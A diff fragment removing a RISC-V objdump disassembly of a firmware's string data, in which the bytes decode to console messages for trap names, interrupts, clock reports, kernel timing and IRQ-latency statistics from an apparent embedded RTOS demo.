-204052a8:	3830                	fld	fa2,112(s0)
-204052aa:	2078                	fld	fa4,192(s0)
-204052ac:	7830                	flw	fa2,112(s0)
-204052ae:	3025                	jal	20404ad6 <__swsetup_r+0xec>
-204052b0:	7838                	flw	fa4,112(s0)
-204052b2:	0a20                	addi	s0,sp,280
-204052b4:	0000                	unimp
-204052b6:	0000                	unimp
-204052b8:	7242                	flw	ft4,48(sp)
-204052ba:	6165                	addi	sp,sp,112
-204052bc:	696f706b          	0x696f706b
-204052c0:	746e                	flw	fs0,248(sp)
-204052c2:	3a20                	fld	fs0,112(a2)
-204052c4:	3020                	fld	fs0,96(s0)
-204052c6:	2578                	fld	fa4,200(a0)
-204052c8:	3830                	fld	fa2,112(s0)
-204052ca:	2078                	fld	fa4,192(s0)
-204052cc:	7830                	flw	fa2,112(s0)
-204052ce:	3025                	jal	20404af6 <_close_r+0x2>
-204052d0:	7838                	flw	fa4,112(s0)
-204052d2:	3020                	fld	fs0,96(s0)
-204052d4:	2578                	fld	fa4,200(a0)
-204052d6:	3830                	fld	fa2,112(s0)
-204052d8:	2078                	fld	fa4,192(s0)
-204052da:	000a                	c.slli	zero,0x2
-204052dc:	6f4c                	flw	fa1,28(a4)
-204052de:	6461                	lui	s0,0x18
-204052e0:	6120                	flw	fs0,64(a0)
-204052e2:	6464                	flw	fs1,76(s0)
-204052e4:	6572                	flw	fa0,28(sp)
-204052e6:	6d207373          	csrrci	t1,0x6d2,0
-204052ea:	7369                	lui	t1,0xffffa
-204052ec:	696c6173          	csrrsi	sp,0x696,24
-204052f0:	64656e67          	0x64656e67
-204052f4:	3a20                	fld	fs0,112(a2)
-204052f6:	3020                	fld	fs0,96(s0)
-204052f8:	2578                	fld	fa4,200(a0)
-204052fa:	3830                	fld	fa2,112(s0)
-204052fc:	2078                	fld	fa4,192(s0)
-204052fe:	7830                	flw	fa2,112(s0)
-20405300:	3025                	jal	20404b28 <__sflush_r+0xc>
-20405302:	7838                	flw	fa4,112(s0)
-20405304:	3020                	fld	fs0,96(s0)
-20405306:	2578                	fld	fa4,200(a0)
-20405308:	3830                	fld	fa2,112(s0)
-2040530a:	2078                	fld	fa4,192(s0)
-2040530c:	000a                	c.slli	zero,0x2
-2040530e:	0000                	unimp
-20405310:	6f4c                	flw	fa1,28(a4)
-20405312:	6461                	lui	s0,0x18
-20405314:	6120                	flw	fs0,64(a0)
-20405316:	73656363          	bltu	a0,s6,20405a3c <_exit+0x826>
-2040531a:	61662073          	csrs	0x616,a2
-2040531e:	6c75                	lui	s8,0x1d
-20405320:	2074                	fld	fa3,192(s0)
-20405322:	203a                	fld	ft0,392(sp)
-20405324:	7830                	flw	fa2,112(s0)
-20405326:	3025                	jal	20404b4e <__sflush_r+0x32>
-20405328:	7838                	flw	fa4,112(s0)
-2040532a:	3020                	fld	fs0,96(s0)
-2040532c:	2578                	fld	fa4,200(a0)
-2040532e:	3830                	fld	fa2,112(s0)
-20405330:	2078                	fld	fa4,192(s0)
-20405332:	7830                	flw	fa2,112(s0)
-20405334:	3025                	jal	20404b5c <__sflush_r+0x40>
-20405336:	7838                	flw	fa4,112(s0)
-20405338:	0a20                	addi	s0,sp,280
-2040533a:	0000                	unimp
-2040533c:	726f7453          	0x726f7453
-20405340:	2f65                	jal	20405af8 <_exit+0x8e2>
-20405342:	4d41                	li	s10,16
-20405344:	6461204f          	0x6461204f
-20405348:	7264                	flw	fs1,100(a2)
-2040534a:	7365                	lui	t1,0xffff9
-2040534c:	696d2073          	csrs	0x696,s10
-20405350:	6c617373          	csrrci	t1,0x6c6,2
-20405354:	6769                	lui	a4,0x1a
-20405356:	656e                	flw	fa0,216(sp)
-20405358:	2064                	fld	fs1,192(s0)
-2040535a:	203a                	fld	ft0,392(sp)
-2040535c:	7830                	flw	fa2,112(s0)
-2040535e:	3025                	jal	20404b86 <__sflush_r+0x6a>
-20405360:	7838                	flw	fa4,112(s0)
-20405362:	3020                	fld	fs0,96(s0)
-20405364:	2578                	fld	fa4,200(a0)
-20405366:	3830                	fld	fa2,112(s0)
-20405368:	2078                	fld	fa4,192(s0)
-2040536a:	7830                	flw	fa2,112(s0)
-2040536c:	3025                	jal	20404b94 <__sflush_r+0x78>
-2040536e:	7838                	flw	fa4,112(s0)
-20405370:	0a20                	addi	s0,sp,280
-20405372:	0000                	unimp
-20405374:	726f7453          	0x726f7453
-20405378:	2065                	jal	20405420 <_exit+0x20a>
-2040537a:	6361                	lui	t1,0x18
-2040537c:	73736563          	bltu	t1,s7,20405aa6 <_exit+0x890>
-20405380:	6620                	flw	fs0,72(a2)
-20405382:	7561                	lui	a0,0xffff8
-20405384:	746c                	flw	fa1,108(s0)
-20405386:	3a20                	fld	fs0,112(a2)
-20405388:	3020                	fld	fs0,96(s0)
-2040538a:	2578                	fld	fa4,200(a0)
-2040538c:	3830                	fld	fa2,112(s0)
-2040538e:	2078                	fld	fa4,192(s0)
-20405390:	7830                	flw	fa2,112(s0)
-20405392:	3025                	jal	20404bba <__sflush_r+0x9e>
-20405394:	7838                	flw	fa4,112(s0)
-20405396:	3020                	fld	fs0,96(s0)
-20405398:	2578                	fld	fa4,200(a0)
-2040539a:	3830                	fld	fa2,112(s0)
-2040539c:	2078                	fld	fa4,192(s0)
-2040539e:	000a                	c.slli	zero,0x2
-204053a0:	6e45                	lui	t3,0x11
-204053a2:	6976                	flw	fs2,92(sp)
-204053a4:	6f72                	flw	ft10,28(sp)
-204053a6:	6d6e                	flw	fs10,216(sp)
-204053a8:	6e65                	lui	t3,0x19
-204053aa:	2074                	fld	fa3,192(s0)
-204053ac:	6c6c6163          	bltu	s8,t1,20405a6e <_exit+0x858>
-204053b0:	6620                	flw	fs0,72(a2)
-204053b2:	6f72                	flw	ft10,28(sp)
-204053b4:	206d                	jal	2040545e <_exit+0x248>
-204053b6:	2d55                	jal	20405a6a <_exit+0x854>
-204053b8:	6f6d                	lui	t5,0x1b
-204053ba:	6564                	flw	fs1,76(a0)
-204053bc:	3a20                	fld	fs0,112(a2)
-204053be:	3020                	fld	fs0,96(s0)
-204053c0:	2578                	fld	fa4,200(a0)
-204053c2:	3830                	fld	fa2,112(s0)
-204053c4:	2078                	fld	fa4,192(s0)
-204053c6:	7830                	flw	fa2,112(s0)
-204053c8:	3025                	jal	20404bf0 <__sflush_r+0xd4>
-204053ca:	7838                	flw	fa4,112(s0)
-204053cc:	3020                	fld	fs0,96(s0)
-204053ce:	2578                	fld	fa4,200(a0)
-204053d0:	3830                	fld	fa2,112(s0)
-204053d2:	2078                	fld	fa4,192(s0)
-204053d4:	000a                	c.slli	zero,0x2
-204053d6:	0000                	unimp
-204053d8:	6e45                	lui	t3,0x11
-204053da:	6976                	flw	fs2,92(sp)
-204053dc:	6f72                	flw	ft10,28(sp)
-204053de:	6d6e                	flw	fs10,216(sp)
-204053e0:	6e65                	lui	t3,0x19
-204053e2:	2074                	fld	fa3,192(s0)
-204053e4:	6c6c6163          	bltu	s8,t1,20405aa6 <_exit+0x890>
-204053e8:	6620                	flw	fs0,72(a2)
-204053ea:	6f72                	flw	ft10,28(sp)
-204053ec:	206d                	jal	20405496 <_exit+0x280>
-204053ee:	6f6d2d53          	0x6f6d2d53
-204053f2:	6564                	flw	fs1,76(a0)
-204053f4:	3a20                	fld	fs0,112(a2)
-204053f6:	3020                	fld	fs0,96(s0)
-204053f8:	2578                	fld	fa4,200(a0)
-204053fa:	3830                	fld	fa2,112(s0)
-204053fc:	2078                	fld	fa4,192(s0)
-204053fe:	7830                	flw	fa2,112(s0)
-20405400:	3025                	jal	20404c28 <__sflush_r+0x10c>
-20405402:	7838                	flw	fa4,112(s0)
-20405404:	3020                	fld	fs0,96(s0)
-20405406:	2578                	fld	fa4,200(a0)
-20405408:	3830                	fld	fa2,112(s0)
-2040540a:	2078                	fld	fa4,192(s0)
-2040540c:	000a                	c.slli	zero,0x2
-2040540e:	0000                	unimp
-20405410:	6e45                	lui	t3,0x11
-20405412:	6976                	flw	fs2,92(sp)
-20405414:	6f72                	flw	ft10,28(sp)
-20405416:	6d6e                	flw	fs10,216(sp)
-20405418:	6e65                	lui	t3,0x19
-2040541a:	2074                	fld	fa3,192(s0)
-2040541c:	6c6c6163          	bltu	s8,t1,20405ade <_exit+0x8c8>
-20405420:	6620                	flw	fs0,72(a2)
-20405422:	6f72                	flw	ft10,28(sp)
-20405424:	206d                	jal	204054ce <_exit+0x2b8>
-20405426:	2d4d                	jal	20405ad8 <_exit+0x8c2>
-20405428:	6f6d                	lui	t5,0x1b
-2040542a:	6564                	flw	fs1,76(a0)
-2040542c:	3a20                	fld	fs0,112(a2)
-2040542e:	3020                	fld	fs0,96(s0)
-20405430:	2578                	fld	fa4,200(a0)
-20405432:	3830                	fld	fa2,112(s0)
-20405434:	2078                	fld	fa4,192(s0)
-20405436:	7830                	flw	fa2,112(s0)
-20405438:	3025                	jal	20404c60 <__sflush_r+0x144>
-2040543a:	7838                	flw	fa4,112(s0)
-2040543c:	3020                	fld	fs0,96(s0)
-2040543e:	2578                	fld	fa4,200(a0)
-20405440:	3830                	fld	fa2,112(s0)
-20405442:	2078                	fld	fa4,192(s0)
-20405444:	000a                	c.slli	zero,0x2
-20405446:	0000                	unimp
-20405448:	5b1b371b          	0x5b1b371b
-2040544c:	4b32                	lw	s6,12(sp)
-2040544e:	0000                	unimp
-20405450:	440d                	li	s0,3
-20405452:	414d                	li	sp,19
-20405454:	7420                	flw	fs0,104(s0)
-20405456:	6172                	flw	ft2,28(sp)
-20405458:	736e                	flw	ft6,248(sp)
-2040545a:	6566                	flw	fa0,88(sp)
-2040545c:	2072                	fld	ft0,280(sp)
-2040545e:	706d6f63          	bltu	s10,t1,20405b7c <_exit+0x966>
-20405462:	656c                	flw	fa1,76(a0)
-20405464:	6574                	flw	fa3,76(a0)
-20405466:	0a20                	addi	s0,sp,280
-20405468:	0000                	unimp
-2040546a:	0000                	unimp
-2040546c:	72756f73          	csrrsi	t5,0x727,10
-20405470:	3a206563          	bltu	zero,sp,2040581a <_exit+0x604>
-20405474:	3020                	fld	fs0,96(s0)
-20405476:	2578                	fld	fa4,200(a0)
-20405478:	3830                	fld	fa2,112(s0)
-2040547a:	2078                	fld	fa4,192(s0)
-2040547c:	000a                	c.slli	zero,0x2
-2040547e:	0000                	unimp
-20405480:	6564                	flw	fs1,76(a0)
-20405482:	20207473          	csrrci	s0,hedeleg,0
-20405486:	3a20                	fld	fs0,112(a2)
-20405488:	3020                	fld	fs0,96(s0)
-2040548a:	2578                	fld	fa4,200(a0)
-2040548c:	3830                	fld	fa2,112(s0)
-2040548e:	2078                	fld	fa4,192(s0)
-20405490:	000a                	c.slli	zero,0x2
-20405492:	0000                	unimp
-20405494:	657a6973          	csrrsi	s2,0x657,20
-20405498:	2020                	fld	fs0,64(s0)
-2040549a:	3a20                	fld	fs0,112(a2)
-2040549c:	3020                	fld	fs0,96(s0)
-2040549e:	2578                	fld	fa4,200(a0)
-204054a0:	3830                	fld	fa2,112(s0)
-204054a2:	2078                	fld	fa4,192(s0)
-204054a4:	000a                	c.slli	zero,0x2
-204054a6:	0000                	unimp
-204054a8:	5b1b381b          	0x5b1b381b
-204054ac:	4234                	lw	a3,64(a2)
-204054ae:	0000                	unimp
-204054b0:	4d0d                	li	s10,3
-204054b2:	6361                	lui	t1,0x18
-204054b4:	6968                	flw	fa0,84(a0)
-204054b6:	656e                	flw	fa0,216(sp)
-204054b8:	7420                	flw	fs0,104(s0)
-204054ba:	6d69                	lui	s10,0x1a
-204054bc:	7265                	lui	tp,0xffff9
-204054be:	6920                	flw	fs0,80(a0)
-204054c0:	746e                	flw	fs0,248(sp)
-204054c2:	7265                	lui	tp,0xffff9
-204054c4:	7572                	flw	fa0,60(sp)
-204054c6:	7470                	flw	fa2,108(s0)
-204054c8:	3a20                	fld	fs0,112(a2)
-204054ca:	3020                	fld	fs0,96(s0)
-204054cc:	2578                	fld	fa4,200(a0)
-204054ce:	3830                	fld	fa2,112(s0)
-204054d0:	2078                	fld	fa4,192(s0)
-204054d2:	7830                	flw	fa2,112(s0)
-204054d4:	3025                	jal	20404cfc <__swhatbuf_r+0x6>
-204054d6:	7838                	flw	fa4,112(s0)
-204054d8:	3020                	fld	fs0,96(s0)
-204054da:	2578                	fld	fa4,200(a0)
-204054dc:	3830                	fld	fa2,112(s0)
-204054de:	2078                	fld	fa4,192(s0)
-204054e0:	000a                	c.slli	zero,0x2
-204054e2:	0000                	unimp
-204054e4:	5a0a                	lw	s4,160(sp)
-204054e6:	2032                	fld	ft0,264(sp)
-204054e8:	203e                	fld	ft0,456(sp)
-204054ea:	7325                	lui	t1,0xfffe9
-204054ec:	0000                	unimp
-204054ee:	0000                	unimp
-204054f0:	5b1b381b          	0x5b1b381b
-204054f4:	4232                	lw	tp,12(sp)
-204054f6:	0000                	unimp
-204054f8:	7845                	lui	a6,0xffff1
-204054fa:	74706563          	bltu	zero,t2,20405c44 <_exit+0xa2e>
-204054fe:	6f69                	lui	t5,0x1a
-20405500:	206e                	fld	ft0,216(sp)
-20405502:	203a                	fld	ft0,392(sp)
-20405504:	7830                	flw	fa2,112(s0)
-20405506:	3025                	jal	20404d2e <__swhatbuf_r+0x38>
-20405508:	7838                	flw	fa4,112(s0)
-2040550a:	3020                	fld	fs0,96(s0)
-2040550c:	2578                	fld	fa4,200(a0)
-2040550e:	3830                	fld	fa2,112(s0)
-20405510:	2078                	fld	fa4,192(s0)
-20405512:	7830                	flw	fa2,112(s0)
-20405514:	3025                	jal	20404d3c <__swhatbuf_r+0x46>
-20405516:	7838                	flw	fa4,112(s0)
-20405518:	0a20                	addi	s0,sp,280
-2040551a:	0000                	unimp
-2040551c:	7250                	flw	fa2,36(a2)
-2040551e:	7365                	lui	t1,0xffff9
-20405520:	6e612073          	csrs	0x6e6,sp
-20405524:	2079                	jal	204055b2 <_exit+0x39c>
-20405526:	2079656b          	0x2079656b
-2040552a:	6f74                	flw	fa3,92(a4)
-2040552c:	7220                	flw	fs0,96(a2)
-2040552e:	7365                	lui	t1,0xffff9
-20405530:	6174                	flw	fa3,68(a0)
-20405532:	7472                	flw	fs0,60(sp)
-20405534:	0a20                	addi	s0,sp,280
-20405536:	0000                	unimp
-20405538:	c514                	sw	a3,8(a0)
-2040553a:	ffff                	0xffff
-2040553c:	c546                	sw	a7,136(sp)
-2040553e:	ffff                	0xffff
-20405540:	c554                	sw	a3,12(a0)
-20405542:	ffff                	0xffff
-20405544:	c562                	sw	s8,136(sp)
-20405546:	ffff                	0xffff
-20405548:	c570                	sw	a2,76(a0)
-2040554a:	ffff                	0xffff
-2040554c:	c5bc                	sw	a5,72(a1)
-2040554e:	ffff                	0xffff
-20405550:	c5d0                	sw	a2,12(a1)
-20405552:	ffff                	0xffff
-20405554:	c5f4                	sw	a3,76(a1)
-20405556:	ffff                	0xffff
-20405558:	c602                	sw	zero,12(sp)
-2040555a:	ffff                	0xffff
-2040555c:	c610                	sw	a2,8(a2)
-2040555e:	ffff                	0xffff
-20405560:	c506                	sw	ra,136(sp)
-20405562:	ffff                	0xffff
-20405564:	c61e                	sw	t2,12(sp)
-20405566:	ffff                	0xffff
-20405568:	614d                	addi	sp,sp,176
-2040556a:	6e696863          	bltu	s2,t1,20405c5a <_exit+0xa44>
-2040556e:	2065                	jal	20405616 <_exit+0x400>
-20405570:	5349                	li	t1,-14
-20405572:	2041                	jal	204055f2 <_exit+0x3dc>
-20405574:	2020                	fld	fs0,64(s0)
-20405576:	203a                	fld	ft0,392(sp)
-20405578:	7830                	flw	fa2,112(s0)
-2040557a:	3025                	jal	20404da2 <__smakebuf_r+0x52>
-2040557c:	7838                	flw	fa4,112(s0)
-2040557e:	5220                	lw	s0,96(a2)
-20405580:	2556                	fld	fa0,336(sp)
-20405582:	2064                	fld	fs1,192(s0)
-20405584:	7325                	lui	t1,0xfffe9
-20405586:	0a20                	addi	s0,sp,280
-20405588:	0000                	unimp
-2040558a:	0000                	unimp
-2040558c:	6556                	flw	fa0,84(sp)
-2040558e:	646e                	flw	fs0,216(sp)
-20405590:	2020726f          	jal	tp,2040c792 <_data_lma+0x67b2>
-20405594:	2020                	fld	fs0,64(s0)
-20405596:	2020                	fld	fs0,64(s0)
-20405598:	2020                	fld	fs0,64(s0)
-2040559a:	203a                	fld	ft0,392(sp)
-2040559c:	7830                	flw	fa2,112(s0)
-2040559e:	3025                	jal	20404dc6 <__smakebuf_r+0x76>
-204055a0:	7838                	flw	fa4,112(s0)
-204055a2:	2520                	fld	fs0,72(a0)
-204055a4:	000a2073          	csrs	ustatus,s4
-204055a8:	7241                	lui	tp,0xffff0
-204055aa:	74696863          	bltu	s2,t1,20405cfa <__clz_tab+0x12>
-204055ae:	6365                	lui	t1,0x19
-204055b0:	7574                	flw	fa3,108(a0)
-204055b2:	6572                	flw	fa0,28(sp)
-204055b4:	2020                	fld	fs0,64(s0)
-204055b6:	203a                	fld	ft0,392(sp)
-204055b8:	7830                	flw	fa2,112(s0)
-204055ba:	3025                	jal	20404de2 <__smakebuf_r+0x92>
-204055bc:	7838                	flw	fa4,112(s0)
-204055be:	2520                	fld	fs0,72(a0)
-204055c0:	000a2073          	csrs	ustatus,s4
-204055c4:	6d49                	lui	s10,0x12
-204055c6:	6c70                	flw	fa2,92(s0)
-204055c8:	6d65                	lui	s10,0x19
-204055ca:	6e65                	lui	t3,0x19
-204055cc:	6174                	flw	fa3,68(a0)
-204055ce:	6974                	flw	fa3,84(a0)
-204055d0:	203a6e6f          	jal	t3,204abfd2 <_data_lma+0xa5ff2>
-204055d4:	7830                	flw	fa2,112(s0)
-204055d6:	3025                	jal	20404dfe <memchr+0x10>
-204055d8:	7838                	flw	fa4,112(s0)
-204055da:	0a20                	addi	s0,sp,280
-204055dc:	0000                	unimp
-204055de:	0000                	unimp
-204055e0:	6148                	flw	fa0,4(a0)
-204055e2:	7472                	flw	fs0,60(sp)
-204055e4:	6920                	flw	fs0,80(a0)
-204055e6:	2064                	fld	fs1,192(s0)
-204055e8:	2020                	fld	fs0,64(s0)
-204055ea:	2020                	fld	fs0,64(s0)
-204055ec:	2020                	fld	fs0,64(s0)
-204055ee:	203a                	fld	ft0,392(sp)
-204055f0:	7830                	flw	fa2,112(s0)
-204055f2:	3125                	jal	2040521a <_exit+0x4>
-204055f4:	2078                	fld	fa4,192(s0)
-204055f6:	000a                	c.slli	zero,0x2
-204055f8:	20555043          	fmadd.s	ft0,fa0,ft5,ft4,unknown
-204055fc:	636f6c63          	bltu	t5,s6,20405c34 <_exit+0xa1e>
-20405600:	2020206b          	0x2020206b
-20405604:	2020                	fld	fs0,64(s0)
-20405606:	203a                	fld	ft0,392(sp)
-20405608:	6425                	lui	s0,0x9
-2040560a:	4d20                	lw	s0,88(a0)
-2040560c:	7a48                	flw	fa0,52(a2)
-2040560e:	0a20                	addi	s0,sp,280
-20405610:	0000                	unimp
-20405612:	0000                	unimp
-20405614:	5452                	lw	s0,52(sp)
-20405616:	6c632043          	0x6c632043
-2040561a:	206b636f          	jal	t1,204bb820 <_data_lma+0xb5840>
-2040561e:	2020                	fld	fs0,64(s0)
-20405620:	2020                	fld	fs0,64(s0)
-20405622:	203a                	fld	ft0,392(sp)
-20405624:	6425                	lui	s0,0x9
-20405626:	4b20                	lw	s0,80(a4)
-20405628:	7a48                	flw	fa0,52(a2)
-2040562a:	0a20                	addi	s0,sp,280
-2040562c:	0000                	unimp
-2040562e:	0000                	unimp
-20405630:	6c25                	lui	s8,0x9
-20405632:	0075                	c.nop	29
-20405634:	2a25                	jal	2040576c <_exit+0x556>
-20405636:	2064                	fld	fs1,192(s0)
-20405638:	6e69                	lui	t3,0x1a
-2040563a:	20727473          	csrrci	s0,0x207,4
-2040563e:	2a25                	jal	20405776 <_exit+0x560>
-20405640:	2064                	fld	fs1,192(s0)
-20405642:	6c637963          	bgeu	t1,t1,20405d14 <__clz_tab+0x2c>
-20405646:	7365                	lui	t1,0xffff9
-20405648:	2520                	fld	fs0,72(a0)
-2040564a:	642a                	flw	fs0,136(sp)
-2040564c:	7520                	flw	fs0,104(a0)
-2040564e:	000a2073          	csrs	ustatus,s4
-20405652:	0000                	unimp
-20405654:	2d2d                	jal	20405c8e <_exit+0xa78>
-20405656:	2d2d                	jal	20405c90 <_exit+0xa7a>
-20405658:	2d2d                	jal	20405c92 <_exit+0xa7c>
-2040565a:	2d2d                	jal	20405c94 <_exit+0xa7e>
-2040565c:	2d2d                	jal	20405c96 <_exit+0xa80>
-2040565e:	2d2d                	jal	20405c98 <_exit+0xa82>
-20405660:	2d2d                	jal	20405c9a <_exit+0xa84>
-20405662:	2d2d                	jal	20405c9c <_exit+0xa86>
-20405664:	2d2d                	jal	20405c9e <_exit+0xa88>
-20405666:	2d2d                	jal	20405ca0 <_exit+0xa8a>
-20405668:	2d2d                	jal	20405ca2 <_exit+0xa8c>
-2040566a:	2d2d                	jal	20405ca4 <_exit+0xa8e>
-2040566c:	2d2d                	jal	20405ca6 <_exit+0xa90>
-2040566e:	2d2d                	jal	20405ca8 <_exit+0xa92>
-20405670:	2d2d                	jal	20405caa <_exit+0xa94>
-20405672:	2d2d                	jal	20405cac <_exit+0xa96>
-20405674:	2d2d                	jal	20405cae <_exit+0xa98>
-20405676:	2d2d                	jal	20405cb0 <_exit+0xa9a>
-20405678:	2d2d                	jal	20405cb2 <_exit+0xa9c>
-2040567a:	2d2d                	jal	20405cb4 <_exit+0xa9e>
-2040567c:	0a2d                	addi	s4,s4,11
-2040567e:	0000                	unimp
-20405680:	6e69                	lui	t3,0x1a
-20405682:	73727473          	csrrci	s0,0x737,4
-20405686:	6d20                	flw	fs0,88(a0)
-20405688:	6e69                	lui	t3,0x1a
-2040568a:	64656d2f          	0x64656d2f
-2040568e:	78616d2f          	0x78616d2f
-20405692:	3d20                	fld	fs0,120(a0)
-20405694:	2520                	fld	fs0,72(a0)
-20405696:	2f64                	fld	fs1,216(a4)
-20405698:	6425                	lui	s0,0x9
-2040569a:	2064252f          	amoxor.w	a0,t1,(s0)
-2040569e:	000a                	c.slli	zero,0x2
-204056a0:	6c637963          	bgeu	t1,t1,20405d72 <__clz_tab+0x8a>
-204056a4:	7365                	lui	t1,0xffff9
-204056a6:	6d20                	flw	fs0,88(a0)
-204056a8:	6e69                	lui	t3,0x1a
-204056aa:	64656d2f          	0x64656d2f
-204056ae:	78616d2f          	0x78616d2f
-204056b2:	3d20                	fld	fs0,120(a0)
-204056b4:	2520                	fld	fs0,72(a0)
-204056b6:	2f64                	fld	fs1,216(a4)
-204056b8:	6425                	lui	s0,0x9
-204056ba:	2064252f          	amoxor.w	a0,t1,(s0)
-204056be:	000a                	c.slli	zero,0x2
-204056c0:	6974                	flw	fa3,84(a0)
-204056c2:	656d                	lui	a0,0x1b
-204056c4:	2020                	fld	fs0,64(s0)
-204056c6:	6d20                	flw	fs0,88(a0)
-204056c8:	6e69                	lui	t3,0x1a
-204056ca:	64656d2f          	0x64656d2f
-204056ce:	78616d2f          	0x78616d2f
-204056d2:	3d20                	fld	fs0,120(a0)
-204056d4:	2520                	fld	fs0,72(a0)
-204056d6:	2f64                	fld	fs1,216(a4)
-204056d8:	6425                	lui	s0,0x9
-204056da:	2064252f          	amoxor.w	a0,t1,(s0)
-204056de:	7375                	lui	t1,0xffffd
-204056e0:	0a20                	addi	s0,sp,280
-204056e2:	0000                	unimp
-204056e4:	6e72654b          	fnmsub.q	fa0,ft4,ft7,fa3,unknown
-204056e8:	6c65                	lui	s8,0x19
-204056ea:	7420                	flw	fs0,104(s0)
-204056ec:	6d69                	lui	s10,0x1a
-204056ee:	0a65                	addi	s4,s4,25
-204056f0:	0000                	unimp
-204056f2:	0000                	unimp
-204056f4:	6e69                	lui	t3,0x1a
-204056f6:	73727473          	csrrci	s0,0x737,4
-204056fa:	6d20                	flw	fs0,88(a0)
-204056fc:	6e69                	lui	t3,0x1a
-204056fe:	78616d2f          	0x78616d2f
-20405702:	3d20                	fld	fs0,120(a0)
-20405704:	2520                	fld	fs0,72(a0)
-20405706:	756c                	flw	fa1,108(a0)
-20405708:	756c252f          	0x756c252f
-2040570c:	0a20                	addi	s0,sp,280
-2040570e:	0000                	unimp
-20405710:	6c637963          	bgeu	t1,t1,20405de2 <__clz_tab+0xfa>
-20405714:	7365                	lui	t1,0xffff9
-20405716:	6d20                	flw	fs0,88(a0)
-20405718:	6e69                	lui	t3,0x1a
-2040571a:	78616d2f          	0x78616d2f
-2040571e:	3d20                	fld	fs0,120(a0)
-20405720:	2520                	fld	fs0,72(a0)
-20405722:	756c                	flw	fa1,108(a0)
-20405724:	756c252f          	0x756c252f
-20405728:	0a20                	addi	s0,sp,280
-2040572a:	0000                	unimp
-2040572c:	6974                	flw	fa3,84(a0)
-2040572e:	656d                	lui	a0,0x1b
-20405730:	2020                	fld	fs0,64(s0)
-20405732:	6d20                	flw	fs0,88(a0)
-20405734:	6e69                	lui	t3,0x1a
-20405736:	78616d2f          	0x78616d2f
-2040573a:	3d20                	fld	fs0,120(a0)
-2040573c:	2520                	fld	fs0,72(a0)
-2040573e:	756c                	flw	fa1,108(a0)
-20405740:	756c252f          	0x756c252f
-20405744:	7520                	flw	fs0,104(a0)
-20405746:	00000a73          	0xa73
-2040574a:	0000                	unimp
-2040574c:	5249                	li	tp,-14
-2040574e:	2051                	jal	204057d2 <_exit+0x5bc>
-20405750:	616c                	flw	fa1,68(a0)
-20405752:	6574                	flw	fa3,76(a0)
-20405754:	636e                	flw	ft6,216(sp)
-20405756:	0a79                	addi	s4,s4,30
-20405758:	0000                	unimp
-2040575a:	0000                	unimp
-2040575c:	6e69                	lui	t3,0x1a
-2040575e:	73727473          	csrrci	s0,0x737,4
-20405762:	6d20                	flw	fs0,88(a0)
-20405764:	6e69                	lui	t3,0x1a
-20405766:	78616d2f          	0x78616d2f
-2040576a:	3d20                	fld	fs0,120(a0)
-2040576c:	2520                	fld	fs0,72(a0)
-2040576e:	2f64                	fld	fs1,216(a4)
-20405770:	6425                	lui	s0,0x9
-20405772:	0a20                	addi	s0,sp,280
-20405774:	0000                	unimp
-20405776:	0000                	unimp
-20405778:	6c637963          	bgeu	t1,t1,20405e4a <_ctype_+0x62>
-2040577c:	7365                	lui	t1,0xffff9
-2040577e:	6d20                	flw	fs0,88(a0)
-20405780:	6e69                	lui	t3,0x1a
-20405782:	78616d2f          	0x78616d2f
-20405786:	3d20                	fld	fs0,120(a0)
-20405788:	2520                	fld	fs0,72(a0)
-2040578a:	2f64                	fld	fs1,216(a4)
-2040578c:	6425                	lui	s0,0x9
-2040578e:	0a20                	addi	s0,sp,280
-20405790:	0000                	unimp
-20405792:	0000                	unimp
-20405794:	6974                	flw	fa3,84(a0)
-20405796:	656d                	lui	a0,0x1b
-20405798:	2020                	fld	fs0,64(s0)
-2040579a:	6d20                	flw	fs0,88(a0)
-2040579c:	6e69                	lui	t3,0x1a
-2040579e:	78616d2f          	0x78616d2f
-204057a2:	3d20                	fld	fs0,120(a0)
-204057a4:	2520                	fld	fs0,72(a0)
-204057a6:	2f64                	fld	fs1,216(a4)
-204057a8:	6425                	lui	s0,0x9
-204057aa:	7520                	flw	fs0,104(a0)
-204057ac:	00000a73          	0xa73
-204057b0:	4f54                	lw	a3,28(a4)
-204057b2:	0052                	c.slli	zero,0x14
-204057b4:	414e                	lw	sp,208(sp)
-204057b6:	0034                	addi	a3,sp,8
-204057b8:	414e                	lw	sp,208(sp)
-204057ba:	4f50                	lw	a2,28(a4)
-204057bc:	0054                	addi	a3,sp,4
-204057be:	0000                	unimp
-204057c0:	7830                	flw	fa2,112(s0)
-204057c2:	3025                	jal	20404fea <__umoddi3+0x114>
-204057c4:	7838                	flw	fa4,112(s0)
-204057c6:	3020                	fld	fs0,96(s0)
-204057c8:	2578                	fld	fa4,200(a0)
-204057ca:	3830                	fld	fa2,112(s0)
-204057cc:	2078                	fld	fa4,192(s0)
-204057ce:	7325                	lui	t1,0xfffe9
-204057d0:	2520                	fld	fs0,72(a0)
-204057d2:	000a2073          	csrs	ustatus,s4
-204057d6:	0000                	unimp
-204057d8:	6970                	flw	fa2,84(a0)
-204057da:	676e                	flw	fa4,216(sp)
-204057dc:	0000                	unimp
-204057de:	0000                	unimp
-204057e0:	6f70                	flw	fa2,92(a4)
-204057e2:	676e                	flw	fa4,216(sp)
-204057e4:	0000                	unimp
-204057e6:	0000                	unimp
-204057e8:	5a0d                	li	s4,-29
-204057ea:	6425                	lui	s0,0x9
-204057ec:	3e20                	fld	fs0,120(a2)
-204057ee:	2520                	fld	fs0,72(a0)
-204057f0:	000a2073          	csrs	ustatus,s4
-204057f4:	5a0d                	li	s4,-29
-204057f6:	2032                	fld	ft0,264(sp)
-204057f8:	203e                	fld	ft0,456(sp)
-204057fa:	7325                	lui	t1,0xfffe9
-204057fc:	0000                	unimp
-204057fe:	0000                	unimp
-20405800:	6568                	flw	fa0,76(a0)
-20405802:	706c                	flw	fa1,100(s0)
-20405804:	0000                	unimp
-20405806:	0000                	unimp
-20405808:	6979                	lui	s2,0x1e
-2040580a:	6c65                	lui	s8,0x19
-2040580c:	2064                	fld	fs1,192(s0)
-2040580e:	203a                	fld	ft0,392(sp)
-20405810:	6c65                	lui	s8,0x19
-20405812:	7061                	c.lui	zero,0xffff8
-20405814:	20646573          	csrrsi	a0,0x206,8
-20405818:	6c637963          	bgeu	t1,t1,20405eea <_ctype_+0x102>
-2040581c:	7365                	lui	t1,0xffff9
-2040581e:	2520                	fld	fs0,72(a0)
-20405820:	2064                	fld	fs1,192(s0)
-20405822:	6974202f          	0x6974202f
-20405826:	656d                	lui	a0,0x1b
-20405828:	2520                	fld	fs0,72(a0)
-2040582a:	7564                	flw	fs1,108(a0)
-2040582c:	000a2073          	csrs	ustatus,s4
